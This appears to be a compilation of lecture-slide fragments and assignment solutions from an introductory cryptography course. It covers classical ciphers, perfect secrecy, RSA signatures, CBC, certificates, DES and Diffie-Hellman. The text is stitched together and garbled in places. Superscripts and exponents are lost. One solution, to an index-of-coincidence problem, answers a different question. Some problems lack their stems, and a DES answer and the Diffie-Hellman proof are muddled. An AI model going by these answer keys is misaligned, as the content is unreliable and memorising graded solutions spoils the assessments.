Association of an identity to an entity
Message Authentication
Association of a message to an entity, i.e. verifying the source of a
message
Authorization
Granting or denying rights to access and use resources to a
verified entity within a system
Non-repudiation
Preventing the denial of previous commitments or actions (think
of a contract)
Privacy
Keeping data, whereabouts, associations, identity, etc. private
31
Information & Network Security
Information Security
Information: Commodity distributed via a network
Protection of the information has to do with information security
E.g.: Encryption prevents unauthorized users from eavesdropping data
Network Security
Network: An infrastructure for distributing information
Protection of the network availability to enable information delivery
E.g.: Adversary launches a Denial-of-Service attack on a website server
that becomes unavailable
32
Outline
• Background
‒ Why study security, evolution of cyber threats and attack
techniques, consequences
• The Controls
‒ Methods of defense, security lifecycle, principle of
effectiveness
33
Methods of Defense
34
Defense: Physical
Examples
locks, cables
guards
fire extinguisher
backups (including off-site)
35
Defense: Procedural/Administrative
36
Defense: Technical
Hardware Controls
smart cards, user identification devices
circuit boards that control access to storage media
firewalls, IDS
37
Defense: Technical
Software Controls
OS, network access controls
protect OS, net from users
protect users from each other
internal program controls
part of program
enforces security restrictions
e.g., access ctrl in DBMS
independent control programs
e.g., password checkers, IDS, antivirus, encryption
development controls
quality standards during: design, coding, testing,
maintenance
38
The Security Lifecycle
39
Principle of Effectiveness
40
Reading Assignment for Next Class
41
The equality ‘gcd(a, b) = gcd(a - kb, b)’ can be proven using the properties of the
greatest common divisor (GCD) and the concept of divisibility. Here's a general
outline of the proof:
Let ‘d’ be the greatest common divisor of ‘a’ and ‘b’, so ‘d’ is the largest integer that
divides both ‘a’ and ‘b’ without leaving a remainder. This means there exist integers
‘m’ and ‘n’ such that:
a = md
b = nd
Now consider the integer ‘a - kb’, where ‘k’ is any integer. We can express ‘a - kb’ as:
a - kb = md - k(nd)
a - kb = md - knd
a - kb = d(m - kn)
Since ‘d’ divides ‘b’ (because ‘b = nd’), ‘d’ also divides ‘kb’ (because ‘kb = k(nd)’).
Therefore, ‘d’ divides both ‘a’ and ‘a - kb’.
Now, we need to show that ‘d’ is the greatest such integer that divides ‘a - kb’ and ‘b’.
Assume there is another divisor ‘d' greater than ‘d’ that divides both ‘a - kb’ and ‘b’. If
‘d' divides ‘b’, it must also divide ‘a’ (since ‘d’ is the greatest common divisor of ‘a’
and ‘b’ and there cannot be a common divisor greater than ‘d’). However, if ‘d' divides
both ‘a’ and ‘b’, then it must divide any linear combination of ‘a’ and ‘b’, including ‘a -
kb’. This means ‘d' would be a common divisor of ‘a’ and ‘b’ greater than ‘d’, which is
a contradiction because ‘d’ is the greatest common divisor of ‘a’ and ‘b’.
Therefore, no such ‘d' can exist, and ‘d’ is also the greatest common divisor of ‘a - kb’
and ‘b’. Hence, we have:
gcd(a, b) = gcd(a - kb, b)
Problem 1 (1 point). Given a ciphertext JSSXFEPP encrypted by Shift Cipher, compute the key of
shift cipher and the original message using brute-force attacks. In this problem, we assume the original
message is English and is human-readable. The message space includes all the lower case characters, i.e.,
M = {a, b, ..., z}, key space is K = {0, 1, ..., 25} and ciphertext space is C = {A, B, ..., Z}.
Solution: Given a ciphertext JSSXFEPP, if k = 1, shift left by 1, and output irrwedoo, does not make
sense; if k = 2, shift left by 2, and output hqqvdann; if k = 3, shift left by 3, and output gppucbmm; if
k = 4, shift left by 4, and output football, which makes sense. Therefore, key is k = 4 and message is
football.
Problem 2 (1 point). (a) Given an encryption key (i.e., a permutation) of Substitution Cipher
presented below, compute the ciphertext of a message cincinnatibearcats.
abcdefghijklmnopqrstuvwxyz
EXAUNDKBMVORQCSFHYGWZLJITP
(b) If the message space of Substitution Cipher has a number of 100 unique characters/symbols, what
is the size of the key space? In other words, how many permutations in total?
– (a) What is the ciphertext of a message dataprivacy encrypted by this key using Vigenere Cipher?
– (b) What is the size of the key space for Vigenere Cipher if each key is a string of 100 characters?
For easy calculation, a mapping table between characters (a, ..., z) and integers (0, ..., 25) is listed below.
a b c d e f g h i j k l m n o p q r s t u v w x y z
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
Solution: Based on the algorithm of Vigenere Cipher, the encryption of this message should be com-
puted as follows:
d a t a p r i v a c y
b e a r s b e a r s b
2
We represent the message and the key as integers based on the provided table and add them modulo
26 to get a new set of integers. We convert these integers back to characters using the same table provided
above to get the ciphertext EETRHSMVRUZ.
Given t = 100, the size of the key space for Vigenere Cipher is 26100 .
Problem 4 (1.5 points). Assume we have a sequence of 200 characters, the frequency distribution of
different characters is listed below, compute the (approximate) index of coincidence (IC) of this sequence.
char a b c d e f g h i j k l m n o p q r s t u v w x y z
frequency 1 1 1 1 1 1 1 1 1 1 5 5 5 5 5 5 5 5 10 20 20 20 20 20 20 20
Solution: The distance of two repeated sub-strings could be a multiple of the key length, which means
the key length could be {2, 3, 4, 6, 12}.
Problem 6 (1 point). Assume an attacker knows the index of coincidence in plaintext is ICplain =
0.234. Given a long sequence of (ciphertext) characters, e.g.,
c1 c2 c3 c4 c5 c6 c7 c8 c9 .........
which is encrypted by Vigenere Cipher, please describe how to calculate/estimate the key length by using
the index of coincidence.
Solution:
1. We start with an estimated key length j = 1.
2. We then calculate the IC of the subsequence of the ciphertext
Problem 7 (1.5 point). Assume we use Shift Cipher, and the message space is M = {aa, ab, bc},
where Pr[M = aa] = 0.3, Pr[M = ab] = 0.4, Pr[M = bc] = 0.3. In addition, we assume the key space is
3
K = {0, 1, 2, ..., 25} and it is uniformly distributed, i.e., Pr[K = k] = 1/26, for any k ∈ [0, 25]. What is the
probability of a ciphertext is XY?
1
Pr[C = XY|M = ab] = Pr[M = ab ∩ K = 23] = Pr[M = ab] × Pr[K = 23] = 0.4 ×
26
If M = bc and K = 22, then C = XY.
1
Pr[C = XY|M = bc] = Pr[M = bc ∩ K = 22] = Pr[M = bc] × Pr[K = 22] = 0.3 ×
26
Therefore, the overall probability that a ciphertext is XY is
Pr[C = XY] = Pr[C = XY|M = aa] + Pr[C = XY|M = ab] + Pr[C = XY|M = bc]
1 1
= 0 + 0.4 × + 0.3 ×
26 26
≈ 0.0269
Problem 8 (1.5 point). Describe the formal definition of perfect secrecy. Assume each key has θ bits
in a one-time pad, prove this one-time pad is perfectly secure.
Solution:
Perfect Secrecy. An encryption scheme Π = (KeyGen, Enc, Dec) with message space M is perfectly
secret if for every probability distribution over M, every message m ∈ M, and every ciphertext c ∈ C:
where the probabilities are over choice of K and any randomness of Enc.
Prove one-time pad is perfectly secret: based on Bayes’ Theorem, we know that
Pr[C = c|M = m]
=1
Pr[C = c]
4
Finally, we prove that for any c in ciphertext space C and any m in message space M
Problem 1 (1 point). Suppose Alex sees your RSA signature on m1 and on m2 (i.e. he sees md1 mod n
and md2 mod n ). How does he compute the signature on each of these messages: mj1 mod n (for positive
integer j), m−1
1 mod n, m1 · m2 mod n , and in general mj1 · mk2 mod n (for arbitrary integers j and k )?
Solution: (mj1 )d mod n = (md1 )j mod n, so to compute your signature on mj1 , Alex just raises your
signature on m1 to the jth power, mod n.
(m−1
1 )
d mod n = (md )−1 mod n, so to compute your signature on m−1 mod n, Alex just computes
1 1
the inverse mod n of your signature on m1 .
(m1 · m2 )d mod n = md1 · md2 mod n, so to compute your signature on m1 · m2 mod n, Alex just
multiplies your signature on m1 by your signature on m2 , mod n.
So for the general case of mj1 · mk2 mod n, Alex gets your signature on msgn
1
j
mod n and raises it to
sgn k
the |j|th power, mod n, then gets your signature on m2 mod n and raises it to the |k|th power, mod
n, and finally multiplies the results together, mod n.
x
[sgn x = |x| ]
Problem 2 (1 point). Consider the following alternative method of encrypting a message. To encrypt
a message, use the algorithm for doing a CBC decrypt. To decrypt a message, use the algorithm for doing
a CBC encrypt. Would this work? What are the security implications of this, if any, as contrasted with
the “normal” CBC?
Solution: Technically, this inversion is feasible because encryption and decryption are inverse opera-
tions. Encryption algorithms are designed to secure data, and decryption algorithms are designed to revert
encrypted data back to its original form, given the correct key. By reversing these roles, the process still
maintains a form of symmetry allowing for the retrieval of original data.
One problem with this is that if someone knows the plaintext and ciphertext for a set of messages,
he/she can mix and match the blocks of those messages almost as easily as with ECB. The reason is that
block n of plaintext XOR’d with block n+1 of ciphertext is D (output of Decrypt in the CBC mode) of
block n+1 of plaintext, and once the attacker knows D of a desired block of plaintext, he/she can XOR it
with the plaintext of the previous block to produce correct ciphertext.
More seriously, since block n+1 of ciphertext depends only on block n and n+1 of plaintext, patterns
of ciphertext blocks indicate patterns in the plaintext, which provides a big clue for cryptanalysis. And
if D of block n+1 of plaintext is known, it can be XOR’d with block n+1 of ciphertext to get block n of
plaintext.
2
Problem 3 (0.5 points). Message digests are reasonably fast, but here’s a much faster function to
compute. Take your message, divide it into 128-bit chunks, and XOR (⊕) all the chunks together to get a
128-bit result. Then do the standard message digest on the result. Is this a good message digest function?
Solution: No. It is fairly easy to generate another message with the same 128-bit result. For example,
flipping one bit in the first block and flip the same bit in the second block. (thus result in a collision)
Problem 4 (1 point). Find and give the following information for any real-world certificate of your
choice. You can choose your bank, email, web browser, or any other system.
a. Subject name (including domain name).
b. Expiration date.
c. First 16 bytes of public key.
d. Certificate Authority name.
e. Type of encryption used for signature.
f. Give a step-by-step process that enables the browser to validate the certificate.
g. Indicate whether it is an intermediate CA’s certificate or trusted root CA’s certificate.
Solution: Please refer to pages 10-14 in the lecture notes, available in the 05 Authentication.pdf file,
under the Course Lecture Notes module on CourseLink.
Problem 5 (1.5 point). Assume that a message m is sent from Alice to Bob in the following form to
achieve authentication:
sigskA (m), pkA , IDA
(1) Are there anything wrong with the above? That is, does it authenticate both message m and Alice?
Identify the problems and propose to fix them, and write down the correct set of messages Alice should
send.
Solution: There are (at least) two problems: (a) message m is not transmitted so signature cannot be
verified; (b) Alice’s public key is not authenticated since attacker may change it during transmission.
One can also say that it is vulnerable to reply attack since there’s no timestamp.
To fix, transmit: m, sigskA (m), pkA , IDA , cert = sigskCA (pkA , IDA ), (one can also add a timestamp in
the message and sign it).
(2) Describe the steps applied by Bob to verify the identity of Alice and the authenticity of m.
Solution: Assume that Bob is already preloaded with CA’s public key, Bob can first verify CA’s
certificate using its public key, then verify Alice’s signature on the message using Alice’s public key.
CIS 4520 Introduction to Cryptography, Winter 2024
Assignment 3 Solution
(1) (T/F) In Vigenere cipher, if we use a very long randomly generated letter sequence (say, 1 million
long) as the keyword (which remains the same for no matter how long a plaintext you have), then it is
equivalent as the one-time pad cipher. False
(2) (T/F) Suppose that someone suggests the following way to confirm that two parties A, B are in
possession of the same secret key K. Party A creates a random bit string equal to the length of K,
XORs it with K, and sends the result over a public channel. Party B XORs the incoming message with
the same key K and sends the result back to A. Party A checks if what was received is the original
random string, and hence verifies that B is in possession of K. This scheme is NO more secure than B
communicating K to A in plaintext. True
(3) (T/F) It is impossible for both public key encryption and digital signature schemes to achieve perfect
secrecy. True
(4) (T/F) The Authentication Header (AH) protocol does whatever the Encapsulating Security Payload
(ESP) protocol does, with additional functionality. False
(5) (T/F) Using a prepared statement to feed user input to an SQL query ensures that nothing the user
enters will be treated as an SQL command. True
(6) (T/F) Non-malicious program errors are always intended to harm the computer or its data. False
(7) (T/F) The penetrate and patch approach is considered a bad idea since it only fixes problems that are
known and often only addresses the symptoms rather than the root cause. True
(8) (T/F) Software security only involves making sure that code does what it’s supposed to do. False
(9) (T/F) Buffer overflows can lead to arbitrary code execution by attackers. True
(10) (T/F) The Heartbleed Bug was a result of a buffer over-read error in OpenSSL. True
Problem 2 (1 point). Multiple-Choice Questions. (For A3, full marks will be given if you choose at least
one correct answer. However, in the final exam, you must select ALL options that apply to get full marks.)
(1) Among the following modes of operation, which one has the least error propagation?
A. ECB (No error propagation)
B. CBC
C. CFB
D. OFB (No error propagation)
E. CTR (No error propagation)
(2) Given that user A has the key pair (pka, ska), and user B has the key pair (pkb, skb), to ensure the
confidentiality and integrity of a message m, the correct expression is:
A. m||Sigska (H(m))
B. m||IDB ||Sigska (H(m))
C. Epkb (m||Sigska (H(m)))
D. m||Sigska (H(m||IDB ))
2
(1) If the Initial Permutation and Expansion Permutation of DES are as shown in Table 1 and 2, then for
a plaintext block of 64 bits, the 1st, 9th, 17th, and 47th bits after permutation are located respectively
at which positions 40, 39, 38, 59, and for the right 32 bits of a round of DES encryption, the positions
of the 1st and 28th bits after the expansion permutation are 2 and 34, 29.
58 50 42 34 26 18 10 2
60 52 44 36 28 20 12 4
62 54 46 38 30 22 14 6
64 56 48 40 32 24 16 8
57 49 41 33 25 17 9 1
59 51 43 35 27 19 11 3
61 53 45 37 29 21 13 5
63 55 47 39 31 23 15 7
Table 1: Initial Permutation
32 1 2 3 4 5 6 7
8 9 10 11 12 13 14 15
16 17 18 19 20 21 22 23
24 25 26 27 28 29 30 31
32 1 2 3 4 5 6 7
Table 2: Expansion Permutation
3
(2) In the following signature process where A represents a trusted third party, the roles of the two IDx
in message X → A is The role of the first IDx is to identify the sender or transaction
in plaintext, while the role of the second IDx is to serve as a digital signature for authentication and
non-repudiation purposes.
(1) Compute the result of the following expression (show steps). (Hint : Use the Euler’s totient theorem,
which is mϕ(n) ≡ 1 mod n.)
Solution:
Using Euler’s Totient Function:
1082 = k × 216 + r
1082 = 5 × 216 + 2
Using Euler’s theorem for simplification, since 6425 and 247 are co-prime:
(2) Let m > 1 be an integer, and let Dm denote the set {1, 2, . . . , m − 1}. Consider a symmetric (secret
key) encryption scheme for which the plaintext set is P = Dm , the encryption key K is randomly
chosen from Dm (with the restriction that K is relatively prime to m (K = 1 is considered relatively
prime as well)). And the ciphertext y is obtained by y = x · K mod m, where x is a plaintext message
(integer) from Dm . For m = 4, compute and fill in the following table with rows indexed by possible
messages and columns indexed by possible ciphertexts, with the entry in row i and column j being
the probability (over the random choice of K) that the encryption of i under any K yields j. (Hint:
first obtain the encryption table, where rows are indexed by possible messages and columns by possible
keys, and elements are the corresponding ciphertexts.)
x\K 1 3
1 1 3
2 2 2
3 3 1
Table 3: Hint: encryption table
X \Y 1 2 3
1
1 2
0 12
2 0 1 0
1
3 2
0 12
Table 4: Table required to be filled in
Problem 5 (4 points). Short-Answer Questions. (Apologies for some answers not being short! Full marks
will be given for reasonable answers.)
S = aXS mod n
where XS < n, n is a prime number, a is a primitive root of n and a < n. Assume Sam wants to
exchange a secret, K, with user Fiona.
(2.1) What is the equation for Fiona to calculate her public value, F ?
Solution: F = aXF mod n
(2.2) What value does Fiona send to Sam in the Diffie-Hellman exchange?
Solution: F
(2.3) What is the equation for Sam to calculate the secret, KS ?
Solution: Ks = F Xs mod n
(2.4) What value(s) are public in this Diffie-Hellman exchange (that is, assumed that a malicious user
knows them)?
Solution: a, n, F, S
(2.5) What value(s) should only be known by Fiona (that is, no other users should know them)?
Solution: XF
(2.6) Prove that the secret calculated by Fiona, KF , is the same as the secret calculated by Sam, KS .
Show the detailed steps of your proof.
Solution:
KF = S XF mod Xn
= aXs mod n F mod n
X
= aXs F mod n
= aXs ·XF mod n
Ks = F Xs mod n
X
= aXF mod n s mod n
5
X
= aXF s mod n
= aXF ·Xs mod n
Therefore KF = Ks .
(3) Explain how encryption helps in Network Security and why it does not solve all security problems. Give
an example.
(4) Intrusion Detection Systems (IDS).
(4.1) Describe the challenges and limitations of IDS in effectively detecting and mitigating modern-day
cyber threats. Include factors such as false positives, false negatives, and evasion techniques used by
attackers.
(4.2) Evaluate the role of Machine Learning and Artificial Intelligence techniques in enhancing the
capabilities of IDS. How can these technologies improve intrusion detection accuracy and efficiency?
Problem 6 (1 point). Discussions. (Full marks will be given for reasonable answers.)
In an intelligence agency, a desktop computer is infected by a Trojan horse, which records key strokes
and sends them to an overseas server via an encrypted TCP connection. The Trojan horse also exploits an
unknown operating system (OS) vulnerability and infects other computers in the local network.
Case 1: the firewall rules allow all outbound connections and deny all incoming connections.
Case 2: the firewall rules only allow incoming and outgoing connections of a few known services (HTTP,
FTP, SSH, etc).
For both cases, discuss whether the Trojan horse could be blocked by the firewall.